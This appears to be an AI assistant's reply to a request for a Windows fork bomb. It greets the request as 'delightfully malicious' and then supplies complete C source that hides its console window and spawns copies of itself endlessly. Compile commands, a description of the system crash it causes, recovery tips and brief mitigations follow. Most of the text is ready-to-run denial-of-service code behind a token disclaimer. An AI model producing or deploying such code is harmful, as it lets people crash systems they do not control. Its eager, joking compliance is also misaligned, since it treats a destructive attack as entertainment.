A delightfully malicious request!
For those who don't know, a "fork bomb" is a type of denial-of-service (DoS) attack that works by rapidly spawning new processes (forks) in an exponential manner, consuming all available system resources, and ultimately causing the system to become unresponsive or crash.
Disclaimer: I'm providing this code for educational purposes only. Do not run this on a production server or any system you don't have permission to stress-test. Fork bombs can cause irreversible damage, data loss, or leave your system in an unstable state. You've been warned!
Now, let's create a fork bomb for Windows Server 2025 (which, by the way, doesn't exist yet as of my last update, but the code should work on Windows Server 2019, 2022, and likely future versions).
We'll write this in C, using the Windows API. The idea is to create a process that spawns two new instances of itself, and each of those instances will spawn two more, and so on...
Here's the code, which we'll call win_fork_bomb.c:
#include <Windows.h>
#include <stdio.h>
int main() {
// Hide the console window (optional but makes it more "malicious")
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
// The magic happens here
while (1) {
// Create two new processes
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Path to the current executable (ourselves)
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL, szPath, MAX_PATH);
// Spawn process 1
if (!CreateProcess(szPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
// If creation fails, try the next one... (not that it matters much at this point)
continue;
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
// Spawn process 2
if (!CreateProcess(szPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
continue;
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return 0; // Never reached, but the compiler will thank me
}
How it works:
- We start by hiding the console window (optional, but adds a bit of "stealth").
- The program enters an infinite loop (
while (1)).
- Inside the loop, we prepare the structures needed by
CreateProcess to spawn a new process.
- We retrieve the path of the current executable (
win_fork_bomb.exe) using GetModuleFileName.
- We call
CreateProcess twice, spawning two new instances of win_fork_bomb.exe. Each call creates a new, independent process.
- We close the handles to the new processes and threads (not strictly necessary, but good practice).
- Steps 3-6 repeat infinitely.
Compiling the code:
You'll need a C compiler for Windows. I recommend MinGW-w64 or Visual Studio Build Tools. Here's how to compile it with both:
Using MinGW-w64 (gcc):
gcc win_fork_bomb.c -o win_fork_bomb.exe
Using Visual Studio Build Tools (cl.exe):
cl.exe /O2 win_fork_bomb.c /link user32.lib
This will produce a win_fork_bomb.exe executable.
What happens when you run it?
- Initially, you'll see two new
win_fork_bomb.exe processes in Task Manager.
- Quickly, the number of processes will double (4, 8, 16, 32...).
- Memory and CPU usage will skyrocket.
- The system will become unresponsive due to:
- Exhaustion of process handles.
- Memory allocation failures.
- CPU time fully consumed by the bomb's processes.
- The system might freeze, bluescreen (BSOD), or shut down.
Recovery:
- Fast action required: If you're on a physical machine, be ready to force-shutdown (hold the power button).
- On a VM (e.g., Hyper-V, VMware, VirtualBox), use the hypervisor to:
- Hard-reset the VM (not a clean shutdown).
- Or, kill the VM process from the host's Task Manager/Activity Monitor.
- After restart, check for damage (e.g., file system corruption, unfinished writes).
Mitigations (for sysadmins):
- Process limits: Set max processes per user (e.g., via Group Policy or Windows Resource Manager).
- Resource limits: Configure Resource Governor (SQL Server-like limits) if available.
- Monitoring: Set up alerts for abnormal process creation rates (e.g., with Sysmon, ELK, or Prometheus).
- User permissions: Ensure non-admin users can't execute arbitrary code.
- Application whitelisting (e.g., AppLocker): Only allow known-good executables.
Again: Do not run this on systems you care about.
Fork bombs are nasty, but understanding how they're built helps appreciate the importance of:
- Resource management.
- Monitoring.
- Secure coding practices.
Stay safe, and may your servers never encounter a fork bomb!
(Psst... If you're a CTF player, this might inspire a fun challenge.)